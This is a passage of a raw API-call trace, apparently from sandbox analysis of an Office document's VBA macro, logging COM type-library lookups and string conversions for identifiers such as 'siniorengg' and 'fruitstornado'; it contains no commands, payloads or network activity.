strcpy_s (in: _Dst=0x1ff580, _DstSize=0x15, _Src="_B_var_babylongiland" | out: _Dst="_B_var_babylongiland") returned 0x0 [0076.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1ff580, cbMultiByte=21, lpWideCharStr=0x1ff3d0, cchWideChar=21 | out: lpWideCharStr="_B_var_babylongiland") returned 21 [0076.194] IUnknown:AddRef (This=0x679bb80) returned 0xf [0076.194] ITypeLib:RemoteIsName (in: This=0x679bb80, szNameBuf="_B_var_babylongiland", lHashVal=0x1040b1, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.194] IUnknown:Release (This=0x679bb80) returned 0xe [0076.194] IUnknown:AddRef (This=0x5a48620) returned 0x11 [0076.194] ITypeLib:RemoteIsName (in: This=0x5a48620, szNameBuf="_B_var_babylongiland", lHashVal=0x1040b1, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.194] IUnknown:Release (This=0x5a48620) returned 0x10 [0076.194] IUnknown:AddRef (This=0x679c120) returned 0x8 [0076.194] ITypeLib:RemoteIsName (in: This=0x679c120, szNameBuf="_B_var_babylongiland", lHashVal=0x1040b1, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.194] IUnknown:Release (This=0x679c120) returned 0x7 [0076.194] IUnknown:AddRef (This=0x679c6c0) returned 0x6 [0076.194] ITypeLib:RemoteIsName (in: This=0x679c6c0, szNameBuf="_B_var_babylongiland", lHashVal=0x1040b1, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.194] IUnknown:Release (This=0x679c6c0) returned 0x5 [0076.194] IUnknown:AddRef (This=0x679bb80) returned 0xf [0076.194] IUnknown:Release (This=0x679bb80) returned 0xe [0076.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d1026a, cbMultiByte=21, lpWideCharStr=0x1ff430, cchWideChar=22 | out: lpWideCharStr="_B_var_babylongiland") returned 21 [0076.194] ITypeComp:RemoteBind (in: This=0x679bb90, szName="_B_var_babylongiland", lHashVal=0x1040b1, wFlags=0x5, ppTInfo=0x1ff3e8, pDescKind=0x1ff3fc, ppFuncDesc=0x1ff400, ppVarDesc=0x62005f00720061, ppTypeComp=0x6c007900000000, pDummy=0x0 | out: ppTInfo=0x1ff3e8*=0x0, pDescKind=0x1ff3fc*=0, ppFuncDesc=0x1ff400, ppVarDesc=0x62005f00720061, ppTypeComp=0x6c007900000000, pDummy=0x0) returned 0x0 [0076.194] _mbscpy_s (in: _Dst=0x1ff5f0, _DstSizeInBytes=0xe, _Src=0x5792ee2 | out: _Dst=0x1ff5f0) returned 0x0 [0076.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792f36, cbMultiByte=11, lpWideCharStr=0x1ff470, cchWideChar=12 | out: lpWideCharStr="siniorengg") returned 11 [0076.194] ITypeComp:RemoteBind (in: This=0x679bb90, szName="siniorengg", lHashVal=0x10e304, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792f36, cbMultiByte=11, lpWideCharStr=0x1ff470, cchWideChar=12 | out: lpWideCharStr="siniorengg") returned 11 [0076.194] ITypeComp:RemoteBind (in: This=0x5a48630, szName="siniorengg", lHashVal=0x10e304, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792f36, cbMultiByte=11, lpWideCharStr=0x1ff470, cchWideChar=12 | out: lpWideCharStr="siniorengg") returned 11 [0076.194] ITypeComp:RemoteBind (in: This=0x679c130, szName="siniorengg", lHashVal=0x10e304, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792f36, cbMultiByte=11, lpWideCharStr=0x1ff470, cchWideChar=12 | out: lpWideCharStr="siniorengg") returned 11 [0076.194] ITypeComp:RemoteBind (in: This=0x679c6d0, szName="siniorengg", lHashVal=0x10e304, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.194] IMalloc:Alloc (This=0x7fefe465380, cb=0x12) returned 0x62ed410 [0076.194] _mbscpy_s (in: _Dst=0x62ed410, _DstSizeInBytes=0xb, _Src=0x5792f36 | out: _Dst=0x62ed410) returned 0x0 [0076.194] strcpy_s (in: _Dst=0x1ff580, _DstSize=0x12, _Src="_B_var_siniorengg" | out: _Dst="_B_var_siniorengg") returned 0x0 [0076.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1ff580, cbMultiByte=18, lpWideCharStr=0x1ff3d0, cchWideChar=18 | out: lpWideCharStr="_B_var_siniorengg") returned 18 [0076.194] IUnknown:AddRef (This=0x679bb80) returned 0xf [0076.194] ITypeLib:RemoteIsName (in: This=0x679bb80, szNameBuf="_B_var_siniorengg", lHashVal=0x10512f, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.195] IUnknown:Release (This=0x679bb80) returned 0xe [0076.195] IUnknown:AddRef (This=0x5a48620) returned 0x11 [0076.195] ITypeLib:RemoteIsName (in: This=0x5a48620, szNameBuf="_B_var_siniorengg", lHashVal=0x10512f, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.195] IUnknown:Release (This=0x5a48620) returned 0x10 [0076.195] IUnknown:AddRef (This=0x679c120) returned 0x8 [0076.195] ITypeLib:RemoteIsName (in: This=0x679c120, szNameBuf="_B_var_siniorengg", lHashVal=0x10512f, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.195] IUnknown:Release (This=0x679c120) returned 0x7 [0076.195] IUnknown:AddRef (This=0x679c6c0) returned 0x6 [0076.195] ITypeLib:RemoteIsName (in: This=0x679c6c0, szNameBuf="_B_var_siniorengg", lHashVal=0x10512f, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.195] IUnknown:Release (This=0x679c6c0) returned 0x5 [0076.195] IUnknown:AddRef (This=0x679bb80) returned 0xf [0076.195] IUnknown:Release (This=0x679bb80) returned 0xe [0076.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d102a2, cbMultiByte=18, lpWideCharStr=0x1ff430, cchWideChar=19 | out: lpWideCharStr="_B_var_siniorengg") returned 18 [0076.195] ITypeComp:RemoteBind (in: This=0x679bb90, szName="_B_var_siniorengg", lHashVal=0x10512f, wFlags=0x5, ppTInfo=0x1ff3e8, pDescKind=0x1ff3fc, ppFuncDesc=0x1ff400, ppVarDesc=0x73005f00720061, ppTypeComp=0x6f006900000000, pDummy=0x0 | out: ppTInfo=0x1ff3e8*=0x0, pDescKind=0x1ff3fc*=0, ppFuncDesc=0x1ff400, ppVarDesc=0x73005f00720061, ppTypeComp=0x6f006900000000, pDummy=0x0) returned 0x0 [0076.195] _mbscpy_s (in: _Dst=0x1ff5f0, _DstSizeInBytes=0xb, _Src=0x5792f36 | out: _Dst=0x1ff5f0) returned 0x0 [0076.195] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.195] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.195] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6395d4e, cbMultiByte=2, lpWideCharStr=0x5dc1cca, cchWideChar=6 | out: lpWideCharStr="RS") returned 2 [0076.195] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.195] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.195] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.195] IUnknown:AddRef (This=0xb941980) returned 0x3 [0076.195] IUnknown:Release (This=0xb941980) returned 0x2 [0076.195] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c8 | out: ppvObject=0x1ff6c8*=0x0) returned 0x80004002 [0076.195] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c0 | out: ppvObject=0x1ff6c0*=0x0) returned 0x80004002 [0076.195] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.195] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.195] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.195] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.196] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.196] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792f62, cbMultiByte=14, lpWideCharStr=0x1ff470, cchWideChar=15 | out: lpWideCharStr="fruitstornado") returned 14 [0076.196] ITypeComp:RemoteBind (in: This=0x679bb90, szName="fruitstornado", lHashVal=0x10644b, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792f62, cbMultiByte=14, lpWideCharStr=0x1ff470, cchWideChar=15 | out: lpWideCharStr="fruitstornado") returned 14 [0076.196] ITypeComp:RemoteBind (in: This=0x5a48630, szName="fruitstornado", lHashVal=0x10644b, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792f62, cbMultiByte=14, lpWideCharStr=0x1ff470, cchWideChar=15 | out: lpWideCharStr="fruitstornado") returned 14 [0076.196] ITypeComp:RemoteBind (in: This=0x679c130, szName="fruitstornado", lHashVal=0x10644b, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792f62, cbMultiByte=14, lpWideCharStr=0x1ff470, cchWideChar=15 | out: lpWideCharStr="fruitstornado") returned 14 [0076.196] ITypeComp:RemoteBind (in: This=0x679c6d0, szName="fruitstornado", lHashVal=0x10644b, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.196] IMalloc:Alloc (This=0x7fefe465380, cb=0x15) returned 0x62ed410 [0076.196] _mbscpy_s (in: _Dst=0x62ed410, _DstSizeInBytes=0xe, _Src=0x5792f62 | out: _Dst=0x62ed410) returned 0x0 [0076.196] strcpy_s (in: _Dst=0x1ff580, _DstSize=0x15, _Src="_B_var_fruitstornado" | out: _Dst="_B_var_fruitstornado") returned 0x0 [0076.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1ff580, cbMultiByte=21, lpWideCharStr=0x1ff3d0, cchWideChar=21 | out: lpWideCharStr="_B_var_fruitstornado") returned 21 [0076.196] IUnknown:AddRef (This=0x679bb80) returned 0xf [0076.196] ITypeLib:RemoteIsName (in: This=0x679bb80, szNameBuf="_B_var_fruitstornado", lHashVal=0x1037e9, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.196] IUnknown:Release (This=0x679bb80) returned 0xe [0076.196] IUnknown:AddRef (This=0x5a48620) returned 0x11 [0076.196] ITypeLib:RemoteIsName (in: This=0x5a48620, szNameBuf="_B_var_fruitstornado", lHashVal=0x1037e9, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.196] IUnknown:Release (This=0x5a48620) returned 0x10 [0076.196] IUnknown:AddRef (This=0x679c120) returned 0x8 [0076.196] ITypeLib:RemoteIsName (in: This=0x679c120, szNameBuf="_B_var_fruitstornado", lHashVal=0x1037e9, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.196] IUnknown:Release (This=0x679c120) returned 0x7 [0076.196] IUnknown:AddRef (This=0x679c6c0) returned 0x6 [0076.196] ITypeLib:RemoteIsName (in: This=0x679c6c0, szNameBuf="_B_var_fruitstornado", lHashVal=0x1037e9, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.196] IUnknown:Release (This=0x679c6c0) returned 0x5 [0076.196] IUnknown:AddRef (This=0x679bb80) returned 0xf [0076.196] IUnknown:Release (This=0x679bb80) returned 0xe [0076.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d102d6, cbMultiByte=21, lpWideCharStr=0x1ff430, cchWideChar=22 | out: lpWideCharStr="_B_var_fruitstornado") returned 21 [0076.196] ITypeComp:RemoteBind (in: This=0x679bb90, szName="_B_var_fruitstornado", lHashVal=0x1037e9, wFlags=0x5, ppTInfo=0x1ff3e8, pDescKind=0x1ff3fc, ppFuncDesc=0x1ff400, ppVarDesc=0x66005f00720061, ppTypeComp=0x74006900000000, pDummy=0x0 | out: ppTInfo=0x1ff3e8*=0x0, pDescKind=0x1ff3fc*=0, ppFuncDesc=0x1ff400, ppVarDesc=0x66005f00720061, ppTypeComp=0x74006900000000, pDummy=0x0) returned 0x0 [0076.196] _mbscpy_s (in: _Dst=0x1ff5f0, _DstSizeInBytes=0xe, _Src=0x5792f62 | out: _Dst=0x1ff5f0) returned 0x0 [0076.196] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.197] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.197] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.197] IUnknown:AddRef (This=0xb941980) returned 0x3 [0076.197] IUnknown:Release (This=0xb941980) returned 0x2 [0076.197] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c8 | out: ppvObject=0x1ff6c8*=0x0) returned 0x80004002 [0076.197] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c0 | out: ppvObject=0x1ff6c0*=0x0) returned 0x80004002 [0076.197] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.197] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.197] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.197] IUnknown:AddRef (This=0xb824728) returned 0x3 [0076.197] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff468 | out: ppvObject=0x1ff468*=0x0) returned 0x80004002 [0076.197] ITypeInfo:RemoteGetTypeAttr (in: This=0xb824728, ppTypeAttr=0x1ff448, pDummy=0x10 | out: ppTypeAttr=0x1ff448, pDummy=0x10) returned 0x0 [0076.197] ITypeInfo:LocalReleaseTypeAttr (This=0xb824728) returned 0x0 [0076.197] IUnknown:AddRef (This=0xb824728) returned 0x4 [0076.197] IUnknown:Release (This=0xb824728) returned 0x3 [0076.197] IUnknown:Release (This=0xb824728) returned 0x2 [0076.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792fc2, cbMultiByte=7, lpWideCharStr=0x1ff430, cchWideChar=8 | out: lpWideCharStr="Minute") returned 7 [0076.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792fc2, cbMultiByte=7, lpWideCharStr=0x1ff470, cchWideChar=8 | out: lpWideCharStr="Minute") returned 7 [0076.197] ITypeComp:RemoteBind (in: This=0x679bb90, szName="Minute", lHashVal=0x106d61, wFlags=0x3, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0xb941980, pDescKind=0x1ff43c*=1, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.197] ITypeInfo:RemoteGetTypeAttr (in: This=0xb941980, ppTypeAttr=0x1ff430, pDummy=0x1 | out: ppTypeAttr=0x1ff430, pDummy=0x1) returned 0x0 [0076.197] ITypeInfo:LocalReleaseTypeAttr (This=0xb941980) returned 0x0 [0076.197] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb941980, memid=1610612744, invkind=1, pFuncIndex=0x1ff2d0 | out: pFuncIndex=0x1ff2d0*=0x8) returned 0x0 [0076.197] ITypeInfo2:GetFuncCustData (in: This=0xb941980, index=0x8, GUID=0x7fee5f94310*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x1ff2e8 | out: pVarVal=0x1ff2e8*(varType=0x0, wReserved1=0x1f, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x106d61)) returned 0x0 [0076.197] IUnknown:Release (This=0xb941980) returned 0x3 [0076.197] IUnknown:AddRef (This=0xb941980) returned 0x4 [0076.197] ITypeInfo:LocalReleaseFuncDesc (This=0xb941980) returned 0x0 [0076.197] IUnknown:Release (This=0xb941980) returned 0x3 [0076.197] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff558 | out: ppvObject=0x1ff558*=0x0) returned 0x80004002 [0076.197] IUnknown:AddRef (This=0xb941980) returned 0x4 [0076.197] IUnknown:Release (This=0xb941980) returned 0x3 [0076.197] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c8 | out: ppvObject=0x1ff6c8*=0x0) returned 0x80004002 [0076.197] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c0 | out: ppvObject=0x1ff6c0*=0x0) returned 0x80004002 [0076.197] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612744, invkind=1, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", 